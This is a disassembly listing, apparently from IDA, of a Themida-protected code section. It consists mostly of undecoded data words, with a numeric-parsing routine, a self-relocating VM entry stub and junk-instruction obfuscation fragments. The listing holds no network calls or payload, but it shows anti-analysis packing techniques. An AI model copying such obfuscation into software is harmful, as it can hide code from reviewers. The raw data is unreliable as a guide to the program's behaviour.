1A0424h, 55450000h, 0D0003EC3h, 0D2E1B352h dd 10830Fh, 0BE90000h, 0E5000000h, 0C13481D0h, 0B8D16F58h dd 0CFBB5142h, 0FF6CC2E3h, 72C9195h, 61D08B06h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 5BC35040h, 8E8F88Ah dd 97000000h, 496705B5h, 29F3A68Bh, 7174D95h, 0BD8D5A06h dd 6070625h, 1959D8Bh, 4F8B0607h, 0C99D291Ch, 6A06072Fh dd 0C2816601h, 0E8504731h, 5, 0AE31BB95h, 5052503Eh, 5A310F52h dd 0BB310F58h, 1DC580CAh, 895B585Ah, 6A240Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B9DB6C3h dd 48858DD7h, 6A060A3Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0D84BC350h, 0D0FFD38Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 26C35040h dd 0E9D15D0Dh, 0Eh, 79C388C3h, 82AD57EAh, 0B37F40DBh, 8B66EEFCh dd 204F8BD8h, 68E0Fh, 0B5890000h, 6072B49h, 8C0F036Ah dd 8, 0F5858950h, 5A060700h, 0B8B35050h, 240C895Ah, 80E38166h dd 48858D85h, 0B060A3Eh, 72E519Dh, 89D0FF06h, 718F58Dh dd 25BD8D06h, 0F060706h, 58Ch, 0DB816600h, 4F8B593Ah, 0B185891Ch dd 31060705h, 71C0585h, 0BA016A06h, 63DCDF89h, 50D98B91h dd 0B8C7B360h, 58A8FA47h, 958B9161h, 607312Dh, 3E48858Dh dd 6A060Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 46642EC3h, 8166A8E3h, 0FFBC3AE3h, 21B509D0h dd 8B060702h, 9589204Fh, 607227Dh, 13B6036Ah dd 13E991h, 35C20000h, 0CA208CF0h, 48E2B74h, 1A63A6BBh dd 0A9BB6DA9h, 606050ECh, 56D88B66h, 91616159h, 6010E381h dd 858D15BAh, 60A3E48h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 87C35040h, 800Fh, 0D0FF0000h, 1B9958Bh dd 85890607h, 6072299h, 4D4A8D8Bh, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0B70FF7C3h dd 8B01FED8h, 74D4A85h, 467ABA06h, 0FE64AFh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E5C35747h, 8B5D8C5Bh dd 721A995h, 0BB016A06h, 51819E86h, 47A15468h, 48C0FA1h dd 66000000h, 816B4DBAh, 0FEAB2404h, 95295EB7h, 6072C71h dd 3E52858Dh, 0DE8060Ah, 0A3000000h, 8F22C2CDh, 0C3675FEFh dd 0C5E68C8Eh, 8B0F60h, 50000000h, 0FF5A6159h, 6800FD0h dd 89000000h, 70C218Dh, 95BD8306h, 60722h, 0C5840Fh, 30B20000h dd 1995BD83h, 0F010607h, 0B685h, 5C8D8D00h, 0BB060A3Eh dd 0BF674h, 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 0D20885C3h, 8F614849h, 6A26A734h dd 0E1BD8901h, 0FF060703h, 259D8BD1h, 6A060700h, 8D296001h dd 60707EDh, 0BE9858Bh, 6A610607h, 57006A01h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 892BED3h, 0CE92A69h dd 0FA000000h, 3444985Fh, 0C89CBADAh, 0FF34F08Dh, 13E9D1h dd 63940000h, 9EF59E80h, 0A1EFF150h, 9003B74Dh, 9262C634h dd 6E9C4h, 61730000h, 2AE897C0h, 545D58E8h, 15958BFAh dd 6A060721h, 0E2816620h, 0FF6AD355h, 36D38166h, 0B5296001h dd 6071B79h, 95FF61FCh, 6072C91h, 3798529h, 3B20607h, 0B8h dd 0BDF8B00h, 86840FC0h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F913C357h dd 1989958Bh, 0BD830607h, 6071BCDh, 56840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8A8EC355h, 8E9F7h, 44520000h, 0B20FE6A6h dd 95FF9342h, 60715D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 40C35242h, 73D45D0Eh, 6E1225CAh, 49858BF5h dd 52060707h, 1E91958Bh, 0C65B0607h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0E40B16C3h dd 3800F7Fh, 66000000h, 8166DA8Bh, 0FEFBEEAh, 8958DEBFh dd 703CD9Dh, 0D98C6606h, 0F6D08B66h, 840F04C1h, 6Ch, 65E9D2B7h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 66D2C352h, 8B3832BAh, 729C9B5h dd 619D0106h, 8106071Eh, 1180C6h, 6C700h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 76D3C356h, 0CB102966h, 6BA9EA81h, 9D03387Ch, 6071881h dd 0D98B665Eh, 0F00F883h, 0B9A84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0DA52C1EEh dd 1B459589h, 0F8830607h, 80850F01h, 0F000001h, 0B8D3B7h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 19C3C356h, 0E38053CCh, 0C00B5B4Bh dd 0C8840Fh, 0DE90000h, 0A6000000h, 34418B22h, 53B26601h dd 0F978DF7Ch, 0F01F883h, 0C684h, 39958B00h, 8306072Ah dd 840F03F8h, 41h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 36C35545h, 2B6B1C0Ch, 0A19503C0h, 8D06072Fh dd 5B7974BDh, 0FFF4B700h, 7E8E7h, 70C40000h, 90AF4933h dd 18E78000h, 1B85Bh, 0B5890000h, 6072B7Dh, 28F0Fh, 0D68B0000h dd 7974BD8Dh, 6A005Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0F50205C3h, 89777BEAh, 0A17FD281h dd 9532AF0h, 7186595h, 0E7FF5A06h, 0DE9h, 0A6D43A00h, 71D8FAB6h dd 5140ED35h, 0BD8DF879h, 60743D6h, 0D9EF41BAh, 59D894Ah dd 0E906072Bh, 326h, 0C7DAB70Fh, 74DA585h, 506h, 0C5B52900h dd 0B806070Ah, 5, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0AAC35141h, 8E8h, 57558C00h, 0CF79CEBEh, 5BD38B55h dd 94AE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0B4FFD439h, 7D8589E6h, 83060711h dd 850F02F8h, 138h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0EFC35242h, 0FC003A2Ch, 0A9BD8960h, 89060703h dd 715D1BDh, 0B86106h, 0E9000000h, 9, 3F315ADAh, 0CB050145h dd 0FC00B9Bh, 0A984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 4C6BDB0Bh, 403175AAh dd 12619D89h, 83F80607h, 840F01F8h, 0FFFFFF0Fh, 0FDBBF0Fh dd 684h, 0D98D0900h, 83060707h, 840F03F8h, 0FFFFFE81h dd 2959958Bh, 0B80607h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0CB10C356h dd 0F0CDB944h, 0A73728F4h, 7FB9BB66h, 5E8h, 4C7FB300h dd 0D281DB1Eh, 5BD50576h, 74BD8D5Ah, 8B005B79h, 71A1595h dd 0BBE7FF06h, 54E8185Eh, 1ED98589h, 0BD8D0607h, 60745CEh dd 958D0152h, 5B060709h, 1A9E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 3B1A0516h dd 820F6F3Fh, 6, 309D8D31h, 8D890607h, 6070A49h, 0F03F883h dd 4885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 85892AFCh, 6070AB1h, 4762BD8Dh, 6E90607h dd 0 dd 9227070Dh, 4AD28157h, 0E9736A59h, 12Eh, 31219533h, 0E7800607h dd 5F88368h, 4F850Fh, 89600000h, 70A5185h, 0C1B70F06h dd 779E961h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 7E93ADC3h, 0F2AFBB7Bh, 54D9D8Bh dd 12E90607h, 87000000h, 0D650C75h, 111E629Ah, 0D0C869A6h dd 9F4491AAh, 6F8835Bh, 2F850Fh, 0BD8D0000h, 607495Ah dd 0E9DEBF0Fh, 0B6h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0F4C35646h, 0F6C38166h, 7F883F5h, 48850Fh dd 0F600000h, 688h, 69858900h, 8B060721h, 701D9BDh, 0BD8D6106h dd 607272Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 99C35343h, 0D7F63480h, 0E9094577h, 106h, 20BD9D23h dd 0F8830607h, 3B850F0Ah, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0FCB9C355h dd 958B80ACh, 6072BEDh, 2D199D29h, 0BD8D0607h, 6074B52h dd 3E9D18Ah, 80000000h, 6A572AC3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 49ECC353h dd 0ACDEC0D2h, 0B98D120Ah, 4D770A3Eh, 10019501h, 3F830607h dd 79840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0DDD2C350h, 0C0A36D01h dd 8B312039h, 7166995h, 7ADA8006h, 0B70F0F30h, 0C9D1F5DAh dd 0D281F18Ah, 7813BB3Eh, 0E9D08A47h, 0FFFFFFB2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0E9C35646h, 2E1B6608h dd 35253F51h, 0BE9h, 0DA97A00h, 1E419516h, 8B205336h, 0FDDE805Fh dd 27159533h, 0BD890607h, 6074D4Eh, 9858951h, 5B060723h dd 2DD58D8Dh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 3B1F7BC3h, 870F8242h, 3, 0FFD98B66h dd 71F39B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 8589CE55h, 6070611h, 15F458BAh, 0B5858D11h dd 500609A6h, 5311BD8Dh, 8D8D0607h, 6076F6Ah, 831ABCB8h dd 30CF2B54h, 47C8D007h, 8DF87549h, 76EDBB5h, 828D8D06h dd 2B06076Fh, 33A4F3CFh, 0B8C9h, 0C00B0000h, 0BD834674h dd 6071BCDh, 0FF067400h, 715D595h, 4EB58B06h, 8D06074Dh dd 9A6B585h, 8DD0FF06h, 741AB85h, 0C7D0FF06h, 710D985h dd 106h, 0DA58B00h, 8B060720h, 71F31B5h, 0F9AD8B06h, 3306072Fh dd 0CC2C0h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 8C35242h, 0A8A871Ch, 0B04A92E0h, 0DFC381A0h, 0F68A366h dd 0C8Ch, 68A0F00h, 89000000h, 71D199Dh, 61BD8306h, 60715h dd 26840Fh, 0D38B0000h, 2C6195FFh, 9D8B0607h, 6070621h dd 128B0Fh, 0DE90000h, 78000000h, 0E49FC798h, 77DFFD3h dd 0E2028057h, 44DBD83h, 0F000607h, 0FE85h, 10E800h, 923D0000h dd 0D648E8C5h, 9E5AF950h, 3C96B4EFh, 60601E29h, 890F61h dd 61000000h, 95BD835Bh, 1060719h, 0D1850Fh, 0DF8B0000h dd 1D7DBD83h, 0F000607h, 0C284h, 0B19D8B00h, 8306071Bh dd 74DA1BDh, 840F0006h, 0AFh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0ECC35343h, 2BA5BD09h, 858D0607h dd 609A6B5h, 2FB98529h, 0B58B0607h, 6074D4Eh, 0FCD38B60h dd 89D0FF61h, 7269985h, 4D85C606h, 5406071Ch, 0CE6834B7h dd 56E7C51Bh, 66616060h, 611BA3BAh, 2404815Bh, 1789A326h dd 0A9B5FFF8h, 0BA060701h, 4DF8A0BAh, 3A13858Dh, 958B0607h dd 6071FF9h, 2CFDB589h, 0D0FF0607h, 0BA66006Ah, 0FF6A2D57h dd 108D9589h, 0D0FF0607h, 6870Fh, 0B5090000h, 6071875h dd 1FCDB5FFh, 9D8B0607h, 6071A15h, 1F3995FFh, 8BF50607h dd 74D4EB5h, 0C3DD8A06h, 249958Bh, 0B58B0607h, 6070749h dd 0BDBBF0Fh, 4E840FF6h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 4E0DC353h dd 0F8BA941Fh, 0C640ECB2h, 850F0006h, 21h, 0C18D8960h dd 0E9060715h, 14h, 2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h, 0DA160879h dd 0D590CAF4h, 56858961h, 8906074Dh, 72C49B5h, 0F88306h dd 38D840Fh, 0BD890000h, 6071AB9h, 0B8h, 18D8900h, 8306070Bh dd 840F00F8h, 12Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 69C35747h, 0F4435427h, 0F53F053Dh, 0F02F883h dd 0B485h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0D2F9981Ah, 0B79314D0h, 2880FF9h dd 0B7000000h, 6870F40h, 31000000h, 700998Dh, 0FEBA6606h dd 0D1858DD8h, 6A060743h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 2CC3C352h, 7369D3AEh dd 292DEF49h, 89000009h, 73105BDh, 820F9006h, 7, 0C38B6660h dd 50616160h, 8B90E9B7h, 70B319Dh, 6AC306h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0EDFAADC3h dd 9D4BC67Fh, 8BE40827h, 71B9595h, 0B806h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0CED787C3h, 0C9936610h, 0BA127E98h, 6F1EA165h, 0E9D1BF0Fh dd 25Bh, 0EE9h, 0DAC25500h, 7F571CF8h, 5074B00h, 0B82D21B1h dd 1, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh dd 0C5C35545h, 91CFF529h, 8B979CF7h, 7098D9Dh, 0D7B70F06h dd 43D6BD8Dh, 0D98B0607h, 9FE9h, 8D958900h, 8306071Ah dd 850F02F8h, 25h, 68B0F52h, 31000000h, 705B995h, 0BD8D5A06h dd 60745CEh, 80D18B66h, 71E9E2EEh, 81000000h, 7D0665DAh dd 3F88335h, 4F850Fh, 0DE80000h, 22000000h, 0AA4B25BDh dd 0DA2F8A1Ah, 5DE39123h, 1E558529h, 8D5B0607h, 74762BDh dd 0E9FCF906h, 3Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 60C35141h, 0E382E5A8h, 81E67E04h, 6AACE4EBh dd 5F8837Ch, 0A850Fh, 0D88B0000h, 0A6E9h, 0DEB70F00h, 3840F57h dd 0F000000h, 3EB9DEB7h, 0B74D770Ah, 3F83AEh, 89840Fh dd 0B5090000h, 6070FC9h, 13E8h, 0B8001600h, 43FCF60Bh dd 533EE39Ch, 0AA30D6E8h, 3EAF7771h, 16D958Bh, 305B0607h dd 0D381660Fh, 0C9D185E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 22C35646h, 9D2BAA43h, 60719E9h, 55006A47h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 39F7C93h, 0E32E5D78h, 8D894C50h, 6071F5Dh, 0FFFF74E9h dd 0D18589FFh, 8306071Bh, 850F05F8h, 0BFh, 26A5BD89h, 8C660607h dd 0B4EB80D9h, 31B50157h, 5A06071Bh, 0F04C1F6h, 2E85h dd 15958B00h, 0B8060710h, 0 dd 14E9h, 0D126D700h, 75D90191h, 0EEAD8B2Eh, 0CC26D8F9h dd 0AB984CA1h, 0D18B6610h, 76E9h, 8BDA8B00h, 700A585h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 4332AC66h, 0CD26CBBAh, 7E9F827h, 9F000000h dd 0D583ABD9h, 0E0FFE935h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0A1C35040h, 49B26290h, 15870Fh, 10E90000h dd 53000000h, 0C7652E27h, 0DDC29642h, 6EFD72F1h, 831DBF5Bh dd 71F39BDh, 850F0006h, 0FFh, 1D118D89h, 0E8500607h, 8 dd 884A9A65h, 64152240h, 0BA665250h, 310F3759h, 880Fh dd 585A0000h, 2404895Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 17C35040h, 8916DB68h, 70C398Dh, 4D85C606h dd 4506071Ch, 0DE8h, 15BF2300h, 0D731629Fh, 0DBD9AF48h dd 8B66CE31h, 0F6685AD8h, 0F51159Dh, 83h, 24048100h, 3D5CCB73h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 4FC35343h dd 6784F0BDh, 8B9AF3EEh, 707BD95h, 0A9B5FF06h, 6A060701h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0A8E4C357h, 66617ED9h, 8D6A2ABBh, 73A1385h dd 599D8B06h, 0FF060726h, 8922B6D0h, 71F3985h, 0B9B58906h dd 58060705h, 2FB19D8Bh, 0B8600607h, 4FD20CE5h, 2EFD9589h dd 83610607h, 74DA5BDh, 840F0006h, 1Bh, 1FCDB5FFh, 0B5090607h dd 6072191h, 1F3995FFh, 958B0607h, 6073121h, 8397CF80h dd 850F00F8h, 109h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 4EC35141h, 1255371h, 1D6D1E5h, 71F4985h dd 0D5BD8306h, 60705h, 31840Fh, 0F5600000h, 25E98589h dd 0FF610607h, 705D5B5h, 0B59D8B06h, 0F060703h, 280h, 0B8F08A00h dd 1, 49E38166h, 205E946h, 81660000h, 0FFF21AD3h, 71FCDB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0B99F32B0h, 0D6B70F66h, 1FCDB5FFh, 0DA8B0607h dd 1F39B5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 568758C3h, 5641BDBBh, 0A0E95B41h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 64AAC353h, 9D164542h, 0BE90004h dd 97000000h, 0DAC40C1Eh, 8F5453AAh, 0AE9D6E1h, 0B6000000h dd 233E338Fh, 9BB7D5D5h, 0BF605F9Fh, 7E4883ADh, 2599BD8Bh dd 83610607h, 719A5BDh, 850F0006h, 0C3h, 85C6DA8Bh, 6071C4Dh dd 56006A4Dh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 39B7531Bh, 48A7B6DDh, 810F2E1Fh, 6, 5ABCD381h dd 4E80337h, 0A8000000h, 66A43576h, 50F28EBBh, 424448Bh dd 5AE2B256h, 0B2BA008Bh, 89162760h, 0B6042444h, 6A58A2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 2BCFAFC3h, 2E09A5Bh, 85892A82h, 6070609h, 0BDB5FFFCh dd 0F060716h, 858DD6BFh, 6073A13h, 66D0FFF9h, 857D381h dd 19A58589h, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0B83AC8C3h, 0 dd 5958B57h, 5B06072Bh, 4D4EBD89h, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0F428C3h dd 0F9B2CBF6h, 840FC00Bh, 17h, 68C0Fh, 9D230000h, 6070795h dd 32E9h, 0A6DA8100h, 0FF24F024h, 71F39B5h, 68F0F06h, 8B000000h dd 71A8195h, 0B5858D06h, 600609A6h, 17BD8D8Bh, 8D890607h dd 6072191h, 0DD8A5061h, 50240489h, 11BD8D56h, 8D060753h dd 779178Dh, 23BCB806h, 0CF2B7483h, 0C8D00730h, 0F8754947h dd 0BD83585Eh, 60705D5h, 8B067400h, 717CD8Dh, 0B8C93306h dd 0 dd 840FC00Bh, 99h, 1BCDBD83h, 74000607h, 0D595FF06h, 0B8060715h dd 0 dd 975C00Bh, 4D56BD83h, 74010607h, 56BD8309h, 206074Dh dd 0B58B0E75h, 6074D4Eh, 0A6B5858Dh, 0D0FF0609h, 41AB858Dh dd 0D0FF0607h, 21E1BD83h, 75020607h, 0DA58B2Fh, 8B060720h dd 705D585h, 24048906h, 10D985C7h, 10607h, 0B58B0000h dd 6074D52h, 2FF9AD8Bh, 1B80607h, 0C2000000h, 0EB000Ch dd 10D985C7h, 10607h, 0A58B0000h, 607200Dh, 1F31B58Bh dd 0AD8B0607h, 6072FF9h, 0CC2C033h, 61BD8300h, 60715h dd 0BD830F74h, 6072C61h, 0FF067400h, 72C6195h, 4EB58B06h dd 0C306074Dh, 0B219D29h, 0D98A0607h, 6AD22Bh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 328CFAC3h, 0B54274E3h, 12E82C42h, 4A000000h, 7DD362A1h dd 9B3FAB3h, 0F6F8E436h, 0ECA5A2F3h, 0D8C280E2h db 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_542DF5 ; --------------------------------------------------------------------------- loc_542DF3: ; CODE XREF: Themida_:00542DF8j inc eax inc edi loc_542DF5: ; CODE XREF: Themida_:00542DF1j cmp byte ptr [edi], 0 jnz short loc_542DF3 xor ecx, ecx mov edi, [ebp+8] jmp short loc_542E24 ; --------------------------------------------------------------------------- loc_542E01: ; CODE XREF: Themida_:00542E26j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_542E19 ; --------------------------------------------------------------------------- loc_542E16: ; CODE XREF: Themida_:00542E1Cj mul ebx dec esi loc_542E19: ; CODE XREF: Themida_:00542E14j cmp esi, 0 ja short loc_542E16 pop ebx add ecx, eax pop eax inc edi dec eax loc_542E24: ; CODE XREF: Themida_:00542DFFj or eax, eax jnz short loc_542E01 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dw 0D18Bh dd 8B8ADA80h, 21BFE9C1h, 0B0FC0002h, 0AC0A005Ah, 0B0FC005Ah dd 28005Ah, 3F0259h, 0FF680259h, 12h, 2460000h, 20000h dd 10000h, 20000h, 0B3A50000h, 0FA4Ch, 4 dup(0) dd 0E1FC0000h, 0E0910054h, 0E2050054h, 0D33E0054h, 0D0D50054h dd 0D9F40054h, 0EE8A0054h, 807D0054h, 7C630054h, 4F650054h dd 0D3AC0054h, 4D5F0054h, 0BA660054h, 37310054h, 44A40054h dd 97040054h, 0B97A0054h, 35870054h, 83750054h, 85440054h dd 377E0054h, 7E1F0054h, 33EB0054h, 37BE0054h, 7CEE0054h dd 0BB4C0054h, 98F20054h, 0A7EF0054h, 4D0F0054h, 454B0054h dd 658C0054h, 76BA0054h, 0A63B0054h, 0B5D60054h, 0F0730054h dd 0A32F0054h, 56020054h, 8E250054h, 7D180054h, 5CB40054h dd 3C020054h, 7C5B0054h, 0F2430054h, 6BF40054h, 32E00054h dd 45890054h, 70000054h, 99750054h, 6AE60054h, 3D710054h dd 98FD0054h, 0B64D0054h, 0C16D0054h, 0DFE10054h, 0A6190054h dd 744E0054h, 66E90054h, 0F1790054h, 78C30054h, 0B6970054h dd 0BAB00054h, 483C0054h, 46530054h, 64610054h, 83F00054h dd 928C0054h, 4F8E0054h, 62060054h, 0BD1A0054h, 64240054h dd 3C7D0054h, 8E510054h, 0DCD10054h, 8D580054h, 97140054h dd 4D990054h, 54610054h, 41E00054h, 3D410054h, 6ABA0054h dd 9AB80054h, 0EA960054h, 0B33F0054h, 67790054h, 66F90054h dd 0CB110054h, 0E9E50054h, 7ACF0054h, 8AB40054h, 86E20054h dd 776B0054h, 8C070054h, 0CAC50054h, 0BA4A0054h, 8C230054h dd 8CEA0054h, 6D7E0054h, 80F30054h, 4B5B0054h, 6CC90054h dd 9AF90054h, 56CB0054h, 0A0920054h, 913D0054h, 51130054h dd 0CE060054h, 0A88B0054h, 0EED50054h, 7E080054h, 73E80054h dd 0B25A0054h, 5BC00054h, 5D9D0054h, 662C0054h, 0E5AC0054h dd 0D6C60054h, 76F50054h, 0CB780054h, 42080054h, 40120054h dd 49550054h, 90D40054h, 0AC760054h, 51F30054h, 0AB3F0054h dd 52340054h, 7CF60054h, 0C2AF0054h, 0C8630054h, 0A85A0054h dd 74170054h, 5CDE0054h, 5BEC0054h, 0B8830054h, 0E0990054h dd 4E720054h, 0A4470054h, 85690054h, 0B2C90054h, 6B5C0054h dd 71890054h, 6B020054h, 917A0054h, 77E90054h, 72880054h dd 91810054h, 5FFC0054h, 0C50C0054h, 80BF0054h, 599F0054h dd 57560054h, 88AD0054h, 6AF00054h, 4FE60054h, 0B99C0054h dd 0C6D20054h, 73F40054h, 9AF00054h, 0E8AC0054h, 68F00054h dd 92400054h, 6D340054h, 0A9180054h, 5F200054h, 0E2E40054h dd 786C0054h, 0F0F30054h db 54h, 0 ; --------------------------------------------------------------------------- loc_54311E: ; CODE XREF: Themida_:0056FBF8j ; Themida_:00575709j ... pusha pushf cld call $+5 pop edi sub edi, 6077D81h mov eax, edi add edi, 6077A99h cmp eax, [edi+2Ch] jnz short loc_54313C jmp short loc_54314F ; --------------------------------------------------------------------------- loc_54313C: ; CODE XREF: Themida_:00543138j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54314B ; --------------------------------------------------------------------------- loc_543146: ; CODE XREF: Themida_:0054314Dj add [edi+ecx*4+40h], eax dec ecx loc_54314B: ; CODE XREF: Themida_:00543144j or ecx, ecx jnz short loc_543146 loc_54314F: ; CODE XREF: Themida_:0054313Aj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_54315C: ; CODE XREF: Themida_:00543163j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_54315C loc_543165: ; CODE XREF: Themida_:005437DBj ; Themida_:00544746j ... lodsb xor al, bl push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esp pop ebx push eax mov eax, 4 add ebx, eax pop eax push esi jmp loc_544286 ; --------------------------------------------------------------------------- dd 5B34EE81h, 0D6014C6Ah, 5B34C681h, 565A4C6Ah, 42474FFh dd 8B2434FFh, 0C4812434h, 4, 2EC7E9h, 4C78100h, 83000000h dd 88E904C7h, 5900007Eh, 95C6E9h db 0 ; --------------------------------------------------------------------------- loc_5431C5: ; CODE XREF: Themida_:0054F126j pop esi add esp, 4 add esi, 0CB48DA10h jmp loc_54BAA6 ; --------------------------------------------------------------------------- db 8Bh dd 0F7E92414h, 0Eh, 2AECE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5431E6: ; CODE XREF: Themida_:0054CFBEj push 5E87h jmp loc_54F437 ; --------------------------------------------------------------------------- loc_5431F0: ; CODE XREF: Themida_:0054EC3Dj push eax jmp loc_54E076 ; --------------------------------------------------------------------------- loc_5431F6: ; CODE XREF: Themida_:0054DC6Cj xor ebx, eax mov eax, [esp] add esp, 4 push eax mov eax, 4F7F06ECh sub eax, 998DEA9h sub ebx, eax pop eax shr ebx, 8 sub ebx, 0CA1DF9h add edx, ebx pop ebx add edx, 2 xchg edx, [esp] mov esp, [esp] sub bl, 3Dh add bl, 0D8h jmp loc_544157 ; --------------------------------------------------------------------------- dw 0B951h dd 0B8F5C6Eh, 0E959CA09h, 6316h ; --------------------------------------------------------------------------- loc_543240: ; CODE XREF: Themida_:00548B05j mov eax, [esp] jmp loc_544111 ; --------------------------------------------------------------------------- dd 0D989EB89h, 2434FF5Bh, 81242C8Bh, 4C4h, 8332E900h, 0C2B60000h dd 0F028B92Ch, 515AB904h, 0CD8055B5h, 40E95209h, 50000A5h dd 4, 42Dh, 24048700h, 791BE95Ch, 48F0000h, 24248B24h dd 8324048Bh, 1C8904ECh, 2D48E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54329A: ; CODE XREF: Themida_:0054E952j add esp, 4 push ecx mov ecx, 1FF04FDAh not ecx sub ecx, 22534D92h add ecx, 0FFFFFFFFh xor ecx, 0B82A8F28h sub ebp, ecx jmp loc_54D308 ; --------------------------------------------------------------------------- db 21h dd 0F3815AD3h, 1060044h, 815BDD01h, 2C5h, 4EC8300h, 0FF242C89h dd 5D042474h, 0E924048Fh, 200Dh, 592434FFh, 645368h, 240C8900h dd 0BE565954h, 285062A3h, 796E9h, 4C48100h, 57000000h dd 0C781E789h, 4, 4EF81h, 3C870000h, 486DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543316: ; CODE XREF: Themida_:0054E338j mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54EE84 ; --------------------------------------------------------------------------- dd 0E9241C31h, 4242h ; 